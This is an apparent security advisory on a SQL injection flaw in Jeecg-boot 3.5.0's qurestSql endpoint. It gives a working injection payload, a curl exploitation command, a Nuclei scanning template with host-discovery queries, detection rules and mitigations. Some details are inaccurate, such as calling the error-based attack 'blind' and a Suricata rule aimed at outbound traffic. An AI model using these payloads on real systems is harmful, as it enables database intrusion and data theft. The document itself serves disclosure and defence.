CVE-2023-1454

Executive Summary

CVE-2023-1454 is a critical SQL injection vulnerability in Jeecg-boot version 3.5.0, specifically within the /jmreport/qurestSql endpoint. The vulnerability allows an unauthenticated remote attacker to execute arbitrary SQL queries by manipulating the apiSelectId parameter. Public proof-of-concept (PoC) code and a Nuclei template are available, confirming active exploitation risk. The CVSS v3.1 base score is 9.8 (Critical), and the EPSS score is 0.93399 (99.8th percentile), indicating a high probability of exploitation in the wild. No official patch has been released by the vendor.

Supply Chain & Package Security

This vulnerability affects the Jeecg-boot Java framework, which is distributed as a Maven artifact (org.jeecgframework.boot:jeecg-boot-parent). Organizations using this framework in their software supply chain are at risk. The vulnerable component is the jmreport module, which is often included as a dependency. There is no known fix in the Maven Central repository, and the vendor has not released a patched version. Users should consider removing or disabling the jmreport module until a patch is available.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
• Base Score: 9.8 (Critical)
• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Privileges Required: None (PR:N)
• User Interaction: None (UI:N)
• Scope: Unchanged (S:U)
• Confidentiality Impact: High (C:H)
• Integrity Impact: High (I:H)
• Availability Impact: High (A:H)
• EPSS Score: 0.93399 (99.8th percentile)
• Threat Level: Critical – Active exploitation is highly likely.

Deep Dive & Mechanics

The vulnerability resides in the jmreport/qurestSql endpoint of Jeecg-boot 3.5.0. The endpoint is designed to execute dynamic SQL queries based on user input. The apiSelectId parameter is passed directly into a SQL query without proper sanitization or parameterization.

The PoC payload uses a blind SQL injection technique with updatexml() to extract database information. The injection point is within a LIKE clause, allowing the attacker to inject arbitrary SQL. The specific payload:

1' or '%1%' like (updatexml(0x3a,concat(1,(select current_user)),1)) or '%%' like '

This triggers an XPATH error that reveals the current database user in the error message.

The vulnerability is classified as CWE-89 (SQL Injection). The lack of input validation and prepared statements in the qurestSql handler allows this attack.

Vulnerable vs. Patched Code

Vulnerable Code (Jeecg-boot 3.5.0): The vulnerable code is in the jmreport module, likely in a controller or service class that handles the /qurestSql endpoint. The code directly concatenates the apiSelectId parameter into a SQL query string.

// Vulnerable pseudo-code
String sql = "SELECT * FROM jmreport WHERE api_select_id = '" + apiSelectId + "'";
Statement stmt = connection.createStatement();
ResultSet rs = stmt.executeQuery(sql);

Patched Code (Hypothetical): A patched version would use parameterized queries (PreparedStatement) to prevent injection.

// Patched pseudo-code
String sql = "SELECT * FROM jmreport WHERE api_select_id = ?";
PreparedStatement pstmt = connection.prepareStatement(sql);
pstmt.setString(1, apiSelectId);
ResultSet rs = pstmt.executeQuery();

Since no official patch is available, the only mitigation is to disable the vulnerable endpoint or upgrade to a non-vulnerable version (if one exists).

Exploitation & Lab Setup

Red Team

Lab Setup:

1. Deploy Jeecg-boot 3.5.0 in a Docker container.
2. Ensure the /jeecg-boot/jmreport/qurestSql endpoint is accessible.

Exploitation Steps:

1. Send a POST request to the vulnerable endpoint with the malicious payload.
2. Use the Nuclei template or a custom script to extract data.

Example cURL command:

curl -X POST http://target.com/jeecg-boot/jmreport/qurestSql \
  -H "Content-Type: application/json" \
  -d '{"apiSelectId":"1316997232402231298","id":"1'\'' or '\''%1%'\'' like (updatexml(0x3a,concat(1,(select current_user)),1)) or '\''%%'\'' like '\''"}'

Expected Output: The response will contain an error message like:

{"msg":"SQLException: XPATH syntax error: ':root@localhost'","code":500}

Blue Team

Detection:

• Monitor for POST requests to /jeecg-boot/jmreport/qurestSql with JSON payloads containing SQL keywords (e.g., updatexml, concat, select).
• Look for HTTP 500 responses with SQLException in the body.
• Use the Sigma rule provided in the Detection Engineering section.

Mitigation:

• Block the /jeecg-boot/jmreport/qurestSql endpoint at the WAF or reverse proxy.
• Apply a virtual patch using a WAF rule to block SQL injection patterns.
• Disable the jmreport module if not required.

Indicators of Compromise (IOCs)

• Network IOCs:

  • POST requests to /jeecg-boot/jmreport/qurestSql with JSON content type.
  • Payloads containing updatexml, extractvalue, union, select, sleep, or benchmark.
  • HTTP 500 responses with SQLException or XPATH syntax error in the body.

• File IOCs:

  • Log entries in application logs showing SQL errors from the jmreport module.
  • Unusual database queries in database logs (e.g., updatexml calls).

• System IOCs:

  • Unexpected database user enumeration or data extraction.
  • Unauthorized access to database tables.

Detection Engineering

YARA Rule

rule CVE_2023_1454_Jeecg_SQLi {
    meta:
        description = "Detects SQL injection attempts against CVE-2023-1454 in Jeecg-boot"
        author = "Valters IT"
        date = "2024-01-01"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2023-1454"
        severity = "critical"
    strings:
        $s1 = "apiSelectId" ascii wide nocase
        $s2 = "qurestSql" ascii wide nocase
        $s3 = "updatexml" ascii wide nocase
        $s4 = "extractvalue" ascii wide nocase
        $s5 = "SQLException" ascii wide nocase
        $s6 = "XPATH syntax error" ascii wide nocase
    condition:
        all of ($s1, $s2) and any of ($s3, $s4, $s5, $s6)
}

Sigma Rule

title: CVE-2023-1454 Jeecg-boot SQL Injection Attempt
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects SQL injection attempts targeting the /jeecg-boot/jmreport/qurestSql endpoint
author: Valters IT
date: 2024-01-01
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2023-1454
    - https://github.com/Sweelg/CVE-2023-1454-Jeecg-Boot-qurestSql-SQLvuln
logsource:
    category: webserver
    product: apache
    service: access_combined
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: '/jeecg-boot/jmreport/qurestSql'
        sc-status: 500
        cs-body|contains:
            - 'updatexml'
            - 'extractvalue'
            - 'SQLException'
            - 'XPATH syntax error'
    condition: selection
falsepositives:
    - Legitimate database errors from other sources (rare)
level: critical

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2023-1454 Jeecg-boot SQL Injection Attempt";
    flow:to_server,established;
    content:"POST"; http_method;
    content:"/jeecg-boot/jmreport/qurestSql"; http_uri;
    content:"apiSelectId"; http_client_body;
    pcre:"/(updatexml|extractvalue|union|select|sleep|benchmark)/i";
    classtype:web-application-attack;
    sid:1000001;
    rev:1;
    reference:url,nvd.nist.gov/vuln/detail/CVE-2023-1454;
)

Nuclei Template (Provided)

id: CVE-2023-1454

info:
  name: Jeecg-boot 3.5.0 qurestSql - SQL Injection
  author: DhiyaneshDK
  severity: critical
  description: |
    A vulnerability classified as critical has been found in jeecg-boot 3.5.0. This affects an unknown part of the file jmreport/qurestSql. The manipulation of the argument apiSelectId leads to sql injection. It is possible to initiate the attack remotely.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary SQL queries, potentially leading to unauthorized access, data leakage, or data manipulation.
  remediation: |
    Upgrade Jeecg-boot to a patched version or apply the necessary security patches provided by the vendor.
  reference:
    - https://github.com/Sweelg/CVE-2023-1454-Jeecg-Boot-qurestSql-SQLvuln/tree/master
    - https://nvd.nist.gov/vuln/detail/CVE-2023-1454
    - https://vuldb.com/?ctiid.223299
    - https://vuldb.com/?id.223299
    - https://github.com/Awrrays/FrameVul
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2023-1454
    cwe-id: CWE-89
    epss-score: 0.93399
    epss-percentile: 0.99819
    cpe: cpe:2.3:a:jeecg:jeecg-boot:3.5.0:*:*:*:*:*:*:*
  metadata:
    verified: "true"
    max-request: 1
    vendor: jeecg
    product: jeecg-boot
    shodan-query: http.favicon.hash:1380908726
    fofa-query: icon_hash=1380908726
  tags: cve2023,cve,jeecg,sqli,vkev,vuln

http:
  - raw:
      - |
        POST /jeecg-boot/jmreport/qurestSql HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json;charset=UTF-8

        {"apiSelectId":"1316997232402231298","id":"1' or '%1%' like (updatexml(0x3a,concat(1,(select current_user)),1)) or '%%' like '"}

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "SQLException"
          - "XPATH syntax error:"
        condition: and

      - type: word
        part: header
        words:
          - application/json

      - type: status
        status:
          - 200

    extractors:
      - type: regex
        group: 1
        regex:
          - "XPATH syntax error: '([a-z_@%]+)'"
          - "XPATH syntax error: '([a-z- @%]+)'"
          - "XPATH syntax error: '([a-z@%0-9.]+)'"
        part: body

Remediation & Mitigation

Immediate Actions:

1. Disable the vulnerable endpoint: Block access to /jeecg-boot/jmreport/qurestSql at the web server or WAF level.
2. Apply virtual patching: Use WAF rules to block SQL injection patterns (e.g., updatexml, extractvalue, union).
3. Remove or disable the jmreport module if it is not required for business operations.

Long-term Fix:

• Upgrade to a patched version of Jeecg-boot once the vendor releases one.
• Implement input validation and parameterized queries for all database interactions.
• Conduct a security audit of the entire application to identify similar vulnerabilities.

Detection:

• Deploy the YARA, Sigma, and Suricata rules provided in this report.
• Monitor application logs for SQL errors and unusual database queries.
• Use the Nuclei template for continuous scanning.

Valters IT
Securing Digital Frontiers

{/* [Security Hash: CD2B30E8E76A086C03EA919F] */}